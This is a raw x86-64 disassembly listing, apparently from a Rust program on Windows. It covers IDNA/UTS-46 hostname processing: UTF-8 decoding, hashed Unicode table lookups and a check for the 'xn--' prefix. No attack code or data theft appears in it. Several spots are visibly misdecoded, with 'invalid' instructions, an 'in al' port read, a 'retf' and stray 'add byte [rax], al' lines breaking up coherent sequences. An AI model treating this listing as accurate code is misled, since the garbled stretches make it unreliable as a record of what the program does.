or edx, ecx
mov rbp, rdi
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jb 0x140094631
nop dword [rax]
cmp edx, 0x110000
je 0x1400946fb
lea ecx, [rdx - 0x61]
cmp ecx, 0x1a
jb 0x140094631
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x140094631
mov r8d, 0x75a
xor r9d, r9d
mov ecx, 0x75a
jmp 0x140094468
mov rcx, r8
sub r8, r9
jbe 0x14009449d
shr r8, 1
add r8, r9
xor edi, edi
cmp dword [r15 + r8*8], edx
setne dil
cmovb edi, r13d
cmp dil, 1
je 0x140094460
movzx r9d, dil
cmp r9d, 0xff
jne 0x1400944b0
inc r8
mov r9, r8
mov r8, rcx
sub r8, r9
ja 0x140094468
dec r9
mov r8, r9
cmp r9, 0x759
ja 0x140094e39
movzx edi, word [r15 + r8*8 + 4]
test dword [rbx + 0x48000028], edx
lea ecx, [0x1401b7b34]
add r8, rcx
add rbx, r8
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x98], rbx
jmp case.default.0x140094523
mov r8d, dword [rsp + 0x50]
lea r10, [rsp + 0x58]
mov rcx, qword [rsp + 0xa8]
test r8d, r8d
je 0x140094764
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x68]
cmp rcx, rax
jb 0x14009477f
jmp 0x140094e79
cmp edx, 0x110000
je 0x1400946fb
cmp byte [rsp + 0xb8], 0
je 0x140094ae4
cmp edx, 0x80
jb 0x140094223
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x1400941bf
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x1f
and r8d, 0xfffffffe
lea r9, [0x1401f1e58]
movzx r8d, word [r8 + r9]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
ror byte [rbp + 0x69], 0xc0
in al, 0xe
add byte [rax], al
shr r8, 0x1d
and r8d, 0xfffffff8
lea r9, [0x1401f3c20]
mov rsi, qword [r8 + r9]
cmp edx, esi
jne 0x140094a00
mov rax, rsi
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0x1667
ja 0x140096e93
shr rsi, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp rdx, rsi
jb 0x140096ea6
lea rax, [0x1401fb340]
lea rbx, [rax + rcx*4]
test rsi, rsi
jne 0x140094a80
jmp 0x14009422b
mov byte [rsp + 0xa0], 2
cmp dword [rsp + 0x50], 0
je 0x140094719
mov rax, qword [rsp + 0x68]
test rax, rax
jne 0x140094727
jmp 0x140094c40
movzx eax, word [rsp + 0x54]
test rax, rax
je 0x140094c40
mov rcx, r12
call fcn.140096f60
mov r8d, dword [rsp + 0x50]
test r8d, r8d
je 0x140094740
mov r9, qword [rsp + 0x68]
jmp 0x140094746
movzx r9d, word [rsp + 0x54]
lea r10, [rsp + 0x58]
mov qword [rsp + 0xb0], r9
mov rcx, qword [rsp + 0xa8]
test r8d, r8d
jne 0x1400945eb
movzx eax, word [rsp + 0x54]
cmp rax, 5
jae 0x140096e59
mov rdx, r10
cmp rcx, rax
jae 0x140094e79
invalid
add byte [rbx + 0x4804ca6c], cl
inc ecx
mov ebp, dword [rdx + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140094840
test r8d, r8d
je 0x14009484a
mov rdx, qword [rsp + 0x68]
sub rdx, r9
je 0x140094858
xor ecx, ecx
jmp 0x1400947d3
movzx r9d, byte [r8 + rax*8]
mov eax, dword [r8 + rax*8 + 4]
mov byte [r8 + rcx*8], r9b
mov dword [r8 + rcx*8 + 4], eax
lea rax, [rcx + 1]
mov rcx, rax
cmp rdx, rax
je 0x14009486b
mov rax, qword [rsp + 0xb0]
add rax, rcx
cmp dword [rsp + 0x50], 0
je 0x140094810
mov r9, qword [rsp + 0x68]
cmp rax, r9
jae 0x140094e14
mov r8, qword [rsp + 0x58]
cmp rcx, r9
jb 0x1400947b0
jmp 0x140094e28
movzx r9d, word [rsp + 0x54]
cmp r9, 5
jae 0x140096e0a
cmp rax, r9
jae 0x140094e14
mov r8, r10
cmp rcx, r9
jb 0x1400947b0
invalid
invalid
invalid
jmp 0x140094e28
mov qword [rsp + 0xa8], rcx
jmp 0x14009489b
movzx edx, word [rsp + 0x54]
sub rdx, r9
jne 0x1400947a6
test r8d, r8d
je 0x140094875
cmp qword [rsp + 0x68], rdx
jb 0x140094890
mov qword [rsp + 0x68], rdx
jmp 0x140094890
mov r8d, dword [rsp + 0x50]
test r8d, r8d
jne 0x14009485d
movzx eax, word [rsp + 0x54]
cmp rdx, rax
jae 0x140094890
mov word [rsp + 0x54], dx
nop word cs:[rax + rax]
lea rax, [rsp + 0xa8]
movups xmmword [rax], xmm6
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x1f
and eax, 0xfffffffe
lea rdx, [0x1401e5e1c]
movzx eax, word [rax + rdx]
add eax, ebp
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x1e
and eax, 0xfffffffc
lea rcx, [0x1401e6550]
mov ebx, dword [rax + rcx]
mov eax, ebx
shr eax, 8
cmp eax, ebp
mov eax, 0
cmovne ebx, eax
mov esi, dword [rsp + 0xe0]
cmp esi, 0x110000
jne 0x140094920
test bl, bl
jne 0x140094c30
mov dword [rsp + 0xe0], ebp
jmp 0x14009422b
add byte [rax + 0xe424bc], al
add byte [rax], al
add byte [rbp + riz + 0x38], dh
pushfq
and al, 0xe5
add byte [rax], al
add byte [rbx + 0x39], dh
cmp byte [rsp + 0xe4], 0
je 0x14009494f
cmp byte [rsp + 0xe5], bl
jae 0x14009496c
mov ecx, esi
mov edx, ebp
call fcn.140150450
cmp eax, 0x110000
je 0x140094974
mov dword [rsp + 0xe0], eax
jmp 0x14009422b
mov ecx, esi
mov edx, ebp
call fcn.140150450
cmp eax, 0x110000
jne 0x1400949f4
test bl, bl
jne 0x140094974
jmp 0x140094ca5
test bl, bl
je 0x140094c7f
cmp dword [rsp + 0xc0], 0
je 0x1400949bd
mov rdx, qword [rsp + 0xd8]
cmp rdx, qword [rsp + 0xd0]
jne 0x1400949a5
lea rcx, [rsp + 0xc8]
call fcn.140097a30
mov rdx, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xc8]
mov dword [rax + rdx*4], ebp
inc rdx
mov qword [rsp + 0xd8], rdx
jmp 0x1400949e0
movzx eax, word [rsp + 0xc4]
cmp rax, 3
ja 0x140094bb9
mov dword [rsp + rax*4 + 0xc8], ebp
inc eax
mov word [rsp + 0xc4], ax
mov byte [rsp + 0xe4], 1
mov byte [rsp + 0xe5], bl
jmp 0x14009422b
mov dword [rsp + 0xe0], eax
jmp 0x14009422b
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x1401e97f8]
adc rax, 0xffffffffb70f4100
or al, 0x48
adc rax, 0xffffffffb70f4100
or al, 0x48
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x1401ea814]
mov rsi, qword [rcx + rax*8]
cmp edx, esi
jne 0x140094223
mov rax, rsi
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0xd4e
ja 0x140096e6f
shr rsi, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rdx, rsi
jb 0x140096e82
lea rax, [0x1401ee87c]
lea rbx, [rax + rcx*4]
test rsi, rsi
je 0x14009422b
shl rsi, 2
xor edi, edi
nop word cs:[rax + rax]
mov edx, dword [rbx + rdi]
mov rcx, r12
call fcn.140097850
add rdi, 4
cmp rsi, rdi
jne 0x140094a90
jmp 0x14009422b
shl ecx, 6
or ecx, r14d
mov edx, ecx
mov r14, r12
mov r12, rsi
cmp byte [rsp + 0xb8], 0
add byte [rax], al
add byte [rax], al
jne 0x14009463f
jmp 0x140094ae4
shl ecx, 0xc
or r9d, ecx
mov edx, r9d
mov r14, r12
mov r12, rsi
cmp byte [rsp + 0xb8], 0
jne 0x14009463f
cmp edx, 0x80
jb 0x140094223
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
add byte [rdi], cl
invalid
invalid
idiv bh
invalid
add byte [rdi], cl
invalid
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x1401e97f8]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x1401ea814]
mov rsi, qword [rcx + rax*8]
cmp edx, esi
jne 0x140094223
mov rax, rsi
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0xd4e
ja 0x140096e6f
shr rsi, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rdx, rsi
jb 0x140096e82
test rsi, rsi
je 0x14009422b
lea rax, [0x1401ee87c]
lea rdi, [rax + rcx*4]
shl rsi, 2
xor ebx, ebx
nop word cs:[rax + rax]
mov edx, dword [rdi + rbx]
mov rcx, r12
call fcn.140097850
add rbx, 4
cmp rsi, rbx
jne 0x140094ba0
jmp 0x14009422b
lea rcx, [rsp + 0x128]
lea rdx, [rsp + 0xc4]
mov r8d, ebp
call fcn.140162ed0
cmp dword [rsp + 0xc0], 0
je 0x140094bfd
cmp qword [rsp + 0xd0], 0
je 0x140094bfd
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x128]
movdqu xmm1, xmmword [rsp + 0x138]
lea rax, [rsp + 0xa8]
movdqu xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x18], xmm0
jmp 0x1400949e0
mov esi, ebp
jmp 0x140094d50
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x48], 0
mov esi, dword [rsp + 0xe0]
mov edx, 2
mov eax, 0
cmp esi, 0x110000
je 0x14009412b
mov dword [rsp + 0xe0], 0x110000
jmp 0x140094d50
mov dword [rsp + 0xe0], ebp
mov byte [rsp + 0xe4], 0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
jmp 0x140094d50
mov dword [rsp + 0xe0], ebp
jmp 0x140094d50
cmp rax, rcx
jae 0x140094d07
mov rdx, rbp
jmp 0x140094cd2
cmp cx, 5
jae 0x140096ed1
lea rdx, [rsp + 0xc8]
cmp rax, rcx
jae 0x140094d15
mov esi, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x48], rax
jmp 0x140094d50
lea rbp, [rsp + 0xc8]
mov esi, dword [rbp + rax*4]
inc rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rax
jmp 0x140094d50
mov qword [rsp + 0xd8], 0
jmp 0x140094d25
test r8w, r8w
je 0x140094d25
mov word [rsp + 0xc4], 0
mov esi, dword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x110000
cmp esi, 0x110000
je 0x140094eb9
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x100]
mov edx, esi
call fcn.140093bd0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
jmp 0x14009412b
movaps xmm6, xmmword [rsp + 0x1e0]
movaps xmm7, xmmword [rsp + 0x1f0]
movaps xmm8, xmmword [rsp + 0x200]
movaps xmm9, xmmword [rsp + 0x210]
movaps xmm10, xmmword [rsp + 0x220]
movaps xmm11, xmmword [rsp + 0x230]
movaps xmm12, xmmword [rsp + 0x240]
movaps xmm13, xmmword [rsp + 0x250]
movaps xmm14, xmmword [rsp + 0x260]
movaps xmm15, xmmword [rsp + 0x270]
add rsp, 0x288
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1401abf40]
mov rcx, rax
mov rdx, r9
call fcn.140160ed0
ud2
lea r8, [0x1401abf58]
mov rdx, r9
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.4.0_srcuts46.rs
mov edx, 0x75a
mov rcx, 0xffffffffffffffff
call fcn.140160ed0
ud2
lea r8, [0x1401abf28]
mov rdx, rax
call fcn.140160ed0
ud2
cmp dword [rsp + 0x50], 0
je 0x140094edc
cmp qword [rsp + 0x60], 0
je 0x140094edc
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
mov r15, qword [rsp + 0xf8]
je 0x140094f05
cmp qword [rsp + 0xd0], 0
je 0x140094f05
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x178], 8
xorps xmm6, xmm6
movups xmmword [rsp + 0x180], xmm6
mov rcx, qword [rsp + 0x100]
mov rax, qword [rcx]
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], 1
movabs rax, 0x2e0000002e
mov qword [rsp + 0x160], rax
mov word [rsp + 0x168], 1
mov rax, r15
and rax, 0xffffffffffff00ff
mov qword [rsp + 0x110], rax
xor r12d, r12d
lea rbp, [0x1401e1a54]
movdqa xmm11, xmmword [0x140168a70]
movdqa xmm12, xmmword [0x1401688f0]
movdqa xmm13, xmmword [0x140168a80]
movdqa xmm14, xmmword [0x140168a90]
movdqa xmm15, xmmword [0x140168aa0]
movdqa xmm7, xmmword [0x140168ab0]
movdqa xmm8, xmmword [0x140168ac0]
movdqa xmm9, xmmword [0x140168ad0]
movdqa xmm10, xmmword [0x140168ae0]
xor edi, edi
xor ebx, ebx
jmp 0x140095056
xor ebx, ebx
mov rcx, r14
mov rdx, rsi
mov r8, r15
lea r9, [rsp + 0xe8]
call fcn.1400983f0
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + 8]
mov r13, qword [rcx + 0x10]
sub rax, r13
cmp rax, rsi
jb 0x14009559d
mov rdi, qword [rsp + 0x2f0]
mov rcx, qword [rdi]
add rcx, r13
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [rdi + 0x10], rsi
mov dil, 1
xor r12d, r12d
lea rcx, [rsp + 0x128]
call fcn.140087900
test rax, rax
je 0x140095f1b
mov r14, rax
mov rsi, rdx
test dil, 1
je 0x1400950a4
mov rdi, qword [rsp + 0x2f0]
mov rdx, qword [rdi + 0x10]
cmp rdx, qword [rdi + 8]
jne 0x140095096
mov rcx, rdi
call fcn.140093b10
mov rdx, qword [rdi + 0x10]
mov rax, qword [rdi]
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rdi + 0x10], rdx
cmp rsi, 4
jb 0x1400950c6
mov eax, dword [r14]
bswap eax
xor ecx, ecx
xor edx, edx
cmp eax, 0x786e2d2d
setb cl
seta dl
cmp ecx, edx
je 0x140095217
test bl, 1
jne 0x140094ffe
test rsi, rsi
je 0x140094ffc
mov rax, r14
add rax, rsi
mov rcx, r14
jmp 0x1400950ec
cmp rcx, rax
je 0x140094ffc
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
js 0x1400950fd
inc rcx
jmp 0x140095171
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x140095153
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140095163
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x140094ffc
add rcx, 4
jmp 0x140095171
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x140095171
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 0x21]
cmp r8d, 0x5e
jb 0x1400950e3
mov r8d, 0x5a6
xor r10d, r10d
mov r9d, 0x5a6
jmp 0x14009519c
mov r9, r8
sub r8, r10
jbe 0x1400950e3
shr r8, 1
add r8, r10
lea r11, [r8 + r8*2]
mov edi, dword [rbp + r11*4 + 4]
cmp edi, edx
mov ebx, 0
sbb ebx, ebx
or bl, 1
cmp edi, edx
movzx ebx, bl
mov edi, ebx
cmovae edi, r12d
cmp dword [rbp + r11*4], edx
cmova edi, ebx
cmp dil, 1
je 0x140095190
movzx r10d, dil
cmp r10d, 0xff
jne 0x1400951f0
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x14009519c
jmp 0x1400950e3
movzx edx, byte [rbp + r11*4 + 8]
cmp rdx, 0x11
ja 0x1400950e3
mov r8d, 0x20003
bt r8, rdx
jae 0x1400950e3
mov bl, 1
jmp 0x140094ffe
mov dword [rsp + 0x38], ebx
add r14, 4
add rsi, 0xfffffffffffffffc
lea rcx, [rsp + 0x1a8]
lea rdx, [rsp + 0x178]
mov r8, r14
mov r9, rsi
call fcn.140092c50
mov rbx, qword [rsp + 0x1a8]
test rbx, rbx
je 0x14009558b
mov rdi, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x30], rax
mov r13, qword [rsp + 0x1c8]
mov r15, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
sub r8, r15
mov qword [rsp + 0x28], rcx
sub rax, rcx
cmp rax, r8
jb 0x140095e4b
mov qword [rsp + 0x118], r12
cmp r13, qword [rsp + 0x30]
jb 0x14009535d
cmp rbx, rdi
je 0x140095554
movzx r8d, byte [rbx]
test r8b, r8b
js 0x1400952dc
inc rbx
movzx esi, r8b
inc r15
jmp 0x140095426
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x140095332
movzx edx, byte [rbx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14009533b
movzx esi, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, eax
cmp esi, 0x110000
je 0x140095554
add rbx, 4
mov rcx, rbx
jmp 0x1400953e1
add rbx, 2
jmp 0x140095403
add rbx, 3
jmp 0x140095414
mov rax, qword [r14]
mov byte [rax + rdx], sil
inc rdx
mov qword [r14 + 0x10], rdx
cmp r13, qword [rsp + 0x30]
jae 0x1400952bb
mov rax, r13
shl rax, 4
cmp qword [r12 + rax], r15
jne 0x140095380
inc r13
mov esi, dword [r12 + rax + 8]
jmp 0x14009541b
mov rcx, rbx
mov rbx, rdi
cmp rcx, rdi
je 0x140095380
movzx r8d, byte [rcx]
test r8b, r8b
jns 0x1400953f1
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rcx + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x1400953fc
movzx edx, byte [rcx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14009540d
movzx esi, byte [rcx + 3]
add rcx, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, eax
mov rbx, rcx
cmp esi, 0x110000
je 0x140095380
mov rbx, rcx
cmp esi, 0x110000
jne 0x14009541b
jmp 0x140095554
inc rcx
mov rbx, rcx
jmp 0x1400952d0
add rcx, 2
mov rbx, rcx
shl eax, 6
or eax, r9d
mov esi, eax
jmp 0x14009541b
add rcx, 3
mov rbx, rcx
shl eax, 0xc
or eax, edx
mov esi, eax
inc r15
cmp esi, 0x80
jae 0x14009544d
mov r14, qword [rsp + 0x2f0]
mov rdx, qword [r14 + 0x10]
cmp rdx, qword [r14 + 8]
jne 0x140095344
mov rcx, r14
call fcn.140093b10
mov rdx, qword [r14 + 0x10]
jmp 0x140095344
mov dword [rsp + 0x40], 0
mov eax, esi
cmp esi, 0x800
jae 0x14009547c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x40], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x41], sil
mov esi, 2
jmp 0x1400954e3
cmp esi, 0x10000
jae 0x1400954ae
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x40], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x41], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x42], sil
mov esi, 3
jmp 0x1400954e3
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x40], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x41], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x42], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x43], sil
mov esi, 4
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
sub rax, r14
cmp rax, rsi
jb 0x140095537
mov r12, qword [rsp + 0x2f0]
mov rcx, qword [r12]
add rcx, r14
lea rdx, [rsp + 0x40]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [r12 + 0x10], r14
mov r12, qword [rsp + 0x118]
cmp r13, qword [rsp + 0x30]
jae 0x1400952bb
jmp 0x14009535d
mov r12, qword [rsp + 0x2f0]
mov rcx, r12
mov rdx, r14
mov r8, rsi
call fcn.14015cc80
mov r14, qword [r12 + 0x10]
jmp 0x1400954fb
mov rax, qword [rsp + 0x2f0]
mov r15, qword [rax]
mov rdx, qword [rax + 0x10]
mov r8, qword [rsp + 0x28]
test r8, r8
je 0x1400955bc
mov rsi, rdx
sub rsi, r8
mov r12d, 0
mov ebx, dword [rsp + 0x38]
jbe 0x1400955c8
cmp byte [r15 + r8], 0xbf
jg 0x1400955ce
jmp 0x140096f18
mov byte [rsp + 0xe8], 1
mov bl, 1
mov dil, 1
jmp 0x140095056
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
mov rdx, r13
mov r8, rsi
call fcn.14015cc80
mov r13, qword [rdi + 0x10]
jmp 0x140095030
mov rsi, rdx
xor r12d, r12d
mov ebx, dword [rsp + 0x38]
jmp 0x1400955ce
jne 0x140096f18
add r15, r8
test bl, 1
jne 0x140095699
test rsi, rsi
je 0x140095697
lea rdi, [r15 + rsi]
mov rbx, r15
jmp 0x1400955f5
cmp rbx, rdi
je 0x140095697
movzx r8d, byte [rbx]
movzx ecx, r8b
test cl, cl
js 0x140095606
inc rbx
jmp 0x140095668
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14009564f
movzx edx, byte [rbx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14009565d
movzx ecx, byte [rbx + 3]
and eax, 7
shl eax, 0x12
adc al, cl
loop 0x140095640
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140095697
add rbx, 4
jmp 0x140095668
add rbx, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140095668
add rbx, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x1400955ec
call fcn.140150360
cmp al, 0x11
ja 0x1400955ec
movzx eax, al
mov ecx, 0x20003
bt rcx, rax
jae 0x1400955ec
mov bl, 1
jmp 0x140095699
xor ebx, ebx
movq xmm0, qword [rsp + 0xea]
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd eax, xmm1
or al, byte [rsp + 0xe8]
or al, byte [rsp + 0xf2]
jne 0x140095e2b
cmp byte [rsp + 0xe9], 0
jne 0x140095e3b
cmp byte [rsp + 0xf3], 0
jne 0x140095e1b
mov dword [rsp + 0x38], ebx
test rsi, rsi
je 0x140095ee9
lea rbx, [r15 + rsi]
xor edi, edi
xor r12d, r12d
mov r14, r15
movzx edx, byte [r14]
test dl, dl
js case.0x140065142.1534
inc r14
jmp 0x1400957ab
movzx eax, dl
and eax, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp dl, 0xe0
jb 0x140095775
movzx ecx, byte [r14 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140095784
movzx r13d, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x140095ca6
add r14, 4
jmp 0x140095790
add r14, 2
shl eax, 6
or eax, r8d
mov r13d, eax
jmp 0x140095790
add r14, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
cmp r13d, 0x7f
jbe 0x1400957ab
jmp 0x14009583a
inc r14
cmp r13d, 0x80
jae 0x140095838
cmp r14, rbx
je 0x140095ca6
movzx edx, byte [r14]
movzx r13d, dl
test r13b, r13b
jns 0x14009579b
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x140095815
movzx ecx, byte [r14 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140095827
movzx r13d, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x140095ca6
add r14, 4
jmp 0x14009579e
add r14, 2
shl eax, 6
or eax, r8d
mov r13d, eax
jmp 0x14009579e
add r14, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
jmp 0x14009579e
xor edi, edi
mov ecx, r13d
call fcn.1401503f0
cmp dil, al
jbe 0x14009584f
test al, al
jne case.0x140095a01.3907
lea ecx, [r13 - 0x340]
cmp ecx, 4
ja 0x140095864
cmp ecx, 2
jne case.0x140095a01.3907
cmp r13d, 0xd56
jg 0x1400958ca
cmp r13d, 0x9de
jg 0x140095910
cmp r13d, 0x93b
jg 0x140095a2f
lea ecx, [r13 - 0x30f]
cmp ecx, 0x36
ja 0x1400958a7
movabs rdx, 0x48020000001005
bt rdx, rcx
bt edx, ecx
jb 0x140095b25
lea ecx, [r13 - 0x374]
cmp ecx, 0x13
ja case.0x140095a01.3908
mov edx, 0x80401
bt edx, ecx
retf 0x820f
sbb al, byte [rsi]
add byte [rax], al
jmp case.0x140095a01.3908
cmp r13d, 0x11126
jg case.0x14008fa46.124
cmp r13d, 0x102d
jle 0x1400959bc
cmp r13d, 0x1f70
jg 0x140095a87
cmp r13d, 0x102e
je 0x140095b25
cmp r13d, 0x1b35
je 0x140095b25
jmp case.0x140095a01.3908
cmp r13d, 0xbd6
jg 0x140095a03
cmp r13d, 0xbbd
jg 0x140095b1c
lea ecx, [r13 - 0xb3e]
cmp ecx, 0x19
ja 0x140095944
mov edx, 0x3000001
bt edx, ecx
jb 0x140095b25
lea ecx, [r13 - 0xa33]
cmp ecx, 0x2b
ja 0x140095964
movabs rdx, 0x80000000009
bt rdx, rcx
jb case.0x140095a01.3907
cmp r13d, 0x9df
jne case.0x140095a01.3908
jmp case.0x140095a01.3907
cmp r13d, 0x114af
jle 0x140095a5b
lea ecx, [r13 - 0x114b0]
cmp ecx, 0xd
ja 0x14009599d
mov edx, 0x2401
bt edx, ecx
jb 0x140095b25
cmp r13d, 0x115af
je 0x140095b25
cmp r13d, 0x11930
je 0x140095b25
jmp case.0x140095a01.3908
lea ecx, [r13 - 0xdca]
cmp ecx, 0x15
ja 0x1400959d6
mov edx, 0x200021
bt edx, ecx
jb 0x140095b25
cmp r13d, 0xd57
je 0x140095b25
lea ecx, [r13 - 0xf43]
cmp ecx, 0x76
ja case.0x140095a01.3908
lea rdx, [0x140209c1c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp r13d, 0xcc1
jg 0x140095ae0
cmp r13d, 0xbd7
je 0x140095b25
cmp r13d, 0xc56
je 0x140095b25
jmp case.0x140095a01.3908
cmp r13d, 0x93c
je 0x140095b25
cmp r13d, 0x9be
je 0x140095b25
cmp r13d, 0x9d7
je 0x140095b25
jmp case.0x140095a01.3908
cmp r13d, 0x11127
je 0x140095b25
cmp r13d, 0x1133e
je 0x140095b25
cmp r13d, 0x11357
je 0x140095b25
jmp case.0x140095a01.3908
cmp r13d, 0xfa0f
jle 0x140095af4
cmp r13d, 0x110ba
je 0x140095b25
lea ecx, [r13 - 0xfa10]
cmp ecx, 0x12
ja 0x140095ab7
mov edx, 0x50005
bt edx, ecx
jb case.0x140095a01.3907
lea ecx, [r13 - 0xfb1d]
cmp ecx, 0x21
ja case.0x140095a01.3908
movabs rdx, 0x200000005
bt rdx, rcx
jb case.0x140095a01.3907
jmp case.0x140095a01.3908
cmp r13d, 0xcc2
je 0x140095b25
cmp r13d, 0xd3e
je 0x140095b25
jmp case.0x140095a01.3908
cmp r13d, 0x2125
jg 0x140095b38
lea ecx, [r13 - 0x1f71]
cmp ecx, 0x8c
ja case.0x140095a01.3908
lea rdx, [0x140209df8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp r13d, 0xbbe
